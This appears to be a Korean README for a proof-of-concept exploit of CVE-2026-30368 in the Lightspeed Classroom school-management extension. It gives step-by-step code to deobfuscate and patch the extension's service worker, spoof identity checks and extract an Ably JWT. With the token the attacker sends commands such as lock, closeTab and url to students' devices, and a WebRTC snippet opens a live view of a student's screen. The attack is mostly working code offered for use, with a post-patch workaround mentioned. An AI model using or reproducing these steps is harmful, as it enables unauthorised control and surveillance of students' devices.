
CVE-2026-30368에 대한 개념 증명 익스플로잇으로, Lightspeed Classroom의 인증 우회를 시연하여 Ably 채널을 통해 학생 기기를 제어합니다.
[!IMPORTANT]
이 취약점은 패치되었으며 이제 자격 증명이 필요합니다. 해결 방법을 사용하여 자신에게 작업을 수행하세요.
CVE-2026-30368은 Lightspeed Classroom 관리의 약한 인증 결함을 통해 공격자가 학생 기기를 제어할 수 있게 합니다. POC(poc.js)는 LS Classroom 확장 프로그램의 서비스 워커를 전역 컨텍스트에서 실행합니다. 워커는 일부 기능을 위해 classroom.wasm도 실행합니다. wasm-loader.js는 워커를 로드하고 classroom.wasm이 생성한 JWT 토큰을 추출합니다. 토큰이 추출되면 워커를 종료한 다음 토큰을 Lightspeed API에 보내 대상의 Ably 채널에 연결하는 데 사용되는 토큰을 받습니다. 거기서부터 공격자는 학생 기기에 명령을 보낼 수 있습니다. 명령 목록과 더 많은 정보는 여기에 있는 전체 분석 문서에 있습니다.
이 파일들은 이 저장소에 포함할 수 없습니다. 그 이유는:
문제를 피하려면 버전 5.1.2.1763770643을 사용하는 것이 좋습니다. 최신 버전을 적용하는 데 도움이 필요하면 스스로 해결해야 합니다.
worker.js와 classroom.wasm 파일은 Lightspeed 확장 프로그램 소스 코드에서 얻을 수 있습니다. 개인 기기의 Chrome에서 학교 계정으로 로그인한 다음 Chrome 프로필 디렉토리의 확장 프로그램 폴더에서 확장 프로그램 소스를 추출하여 얻을 수 있습니다. 업데이트 URL을 통해 crx를 수동으로 다운로드할 수도 있습니다.
이 익스플로잇의 더 쉬운 방법은 먼저 확장 프로그램 소스 코드에서 classroom.wasm을 얻은 다음 wasm-only.js와 같은 디렉토리에 붙여넣고 다음을 실행하는 것입니다:
$ node wasm-only.js
프롬프트가 표시되면 이메일과 고객 ID를 입력하세요. 그러면 Ably 채널에 연결됩니다. 815행으로 이동하여 메시지를 보내려는 항목의 주석을 해제하세요. 크레딧: ktibow on discord
파일을 확보했으면 복제된 저장소 디렉토리에 추가하기만 하면 됩니다. wasm-loader.js의 getManifest() 함수로 이동하여 확장 프로그램 매니페스트를 붙여넣어야 합니다. 또한 wasm-loader.js 상단에 확장 프로그램 ID를 추가해야 합니다.
worker.js의 사본을 원하는 파일 이름으로 만드세요. 나중에 필요합니다. 필요한 수정을 수행하려면 worker.js를 webcrack을 통해 실행하여 난독화 해제 및 축소 해제를 해야 합니다. 이 작업을 수행할 때 "Deobfuscate" 및 "Unminify" 옵션만 선택해야 합니다. 결과를 편집기에 다시 붙여넣기 전에 모든 LSP 서버를 끄는 것이 좋습니다. LSP 서버는 임의의 변수를 제거하여 후속 단계에서 워커가 손상될 수 있기 때문입니다(vtsls를 보고 있습니다...).
서비스 워커는 node.js에서 실행되므로(설치되어 있는지 확인하세요) 제대로 실행되려면 일부 패치가 필요합니다. JWT 추출 로직도 추가해야 합니다. worker.js 맨 위에 다음 2개의 함수를 추가하세요:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
이 함수들은 wasm go 런타임을 수정하여 LS classroom wasm이 사용하는 값을 가로채고 수정할 때 사용됩니다.
YOUR_EXTENSION_ID를 확장 프로그램 ID로 바꾸고 worker_copy.js를 이전에 만든 원본 worker.js 사본의 파일 이름으로 바꾸세요.
다음으로 기본 화살표 함수 내부((() => { 뒤)에 이 2개의 함수를 추가하세요:
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
다음으로 캠퍼스 네트워크 외부에서 이 기능을 실행할 수 있도록 IsClassroomActive를 true로 하드코딩해야 합니다. 함수가 항상 true를 반환하도록 변경하기만 하면 됩니다:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
그런 다음 수정해야 하는 valueCall 함수를 찾으려면 syscall/js.valueCall을 검색하세요. 이 함수는 wasm에 JS 값을 알려줍니다. 이 함수를 수정하여 가로채고 변경되는 2개의 값은 worker.js의 경로(해시 검사를 통과하도록 워커 사본으로 변경됨)와 chrome.identity.getProfileUserInfo.toString의 값(파일 상단에서 수정되었음에도 wasm이 신뢰할 수 있다고 믿도록 native code로 변경됨)입니다. 이렇게 하려면 상단에서 정의한 valueCallBefore 및 valueCallAfter 함수를 사용해야 합니다. valueCall 함수를 다음과 같이 수정하세요(변수 이름은 다를 수 있지만 구조는 동일합니다):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
거의 끝났습니다. 마지막으로 JWT를 캡처하는 코드를 추가해야 합니다. echoMessages: false를 검색하면 Ably로 전송되는 헤더 목록이 포함된 변수를 찾을 수 있습니다. 바로 아래에 다음 줄을 추가하세요(변수 이름은 정확하지 않을 가능성이 높으며 authHeaders에서 ablyJwt에 접근하는 동일한 줄을 찾을 수 있습니다):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
이렇게 하면 JWT가 전역 범위의 변수에 할당되어 wasm-loader.js(서비스 워커를 실행하는 "하네스")가 접근할 수 있습니다. 이로써 워커 수정이 끝납니다. 모든 LSP가 여전히 꺼져 있는지 확인하세요. 다시 켜진 경우 나중에 정의되지 않은 변수 문제가 발생할 수 있습니다.
poc.js 파일로 이동하세요. 상단에 테스트하려는 계정(가급적 자신의 계정)의 이메일과 고객 ID를 추가하세요. 자신의 것이 아닌 고객 ID를 사용하면 해당 고객 ID에 해당하는 올바른 worker.js 및 classroom.wasm 파일이 있어야 하므로 오류가 발생합니다.
poc.js의 Ably API 키는 법적 이유로 삭제되었으므로 직접 찾아야 합니다. worker.js에서 찾아보세요. G52로 시작합니다. 고객 ID도 같은 위치에서 찾을 수 있습니다. CUSTOMER_ID:를 검색하거나 XX-XXXX-XXXX 형식의 문자열을 찾으세요. 마지막 3자리는 일반적으로 000입니다.
사용자 에이전트에 관해서는 원하는 대로 설정할 수 있지만 AWS는 자동화 도구와 관련된 특정 UA를 차단할 수 있습니다.
이 모든 작업을 완료했으면 하단으로 이동하여 publish를 사용하여 사용자의 Ably 채널에 보낼 메시지를 추가할 수 있습니다. 메시지에는 lock, closeTab, url 등이 포함될 수 있습니다.
Lightspeed가 사용하는 전체 Ably 메시지 목록은 여기에 있습니다.
node.js, deno 또는 다른 런타임으로 파일을 실행하세요. Bun은 작동하지 않습니다.
$ node poc.js
POC를 확장하여 CLI 등으로 만들어도 좋습니다.
Lightspeed Classroom의 WebRTC(화면 보기) 기능을 작동시키는 방법이 궁금한 사람이 있다면, 가능하지만 까다롭습니다. 작동하려면 다음 조건을 충족해야 합니다:
이미 클라이언트의 Ably 채널에 연결되어 있다고 가정하면 다음을 사용하여 WebRTC 연결을 시작할 수 있습니다:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc 설정
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
비디오를 보는 방법은 직접 알아내야 합니다(약간의 HTML 지식과 약간의 구글링/AI로 가능할 것입니다). 위 코드는 연결을 설정합니다. 불행히도 스트림은 1 FPS이지만 이는 LS Classroom 자체의 한계입니다.
다시 말하지만, 너무 까다로워서 항상 작동한다고 보장할 수는 없지만, 일관되게 작동하게 만들면 알려주세요!
pnpm i를 실행하고 classroom.wasm을 저장소 루트에 배치한 다음 pnpm dev를 실행하여 웹 뷰어를 시작하세요.
[!IMPORTANT]
이 섹션은 자격 증명과 개인 기기가 필요합니다
4월 23일에 Lightspeed는 이 CVE에 대한 수정 사항을 배포하기 시작했습니다. Classroom에 신원 확인을 위한 Google OAuth 토큰을 제공하는 새 확장 프로그램인 Lightspeed Identity Agent(내부 코드명: LS One)를 추가했습니다. 이 해결 방법을 사용하면 자신 또는 자격 증명을 보유한 다른 사람에게 작업을 수행할 수 있습니다. Linux에서만 테스트되었습니다.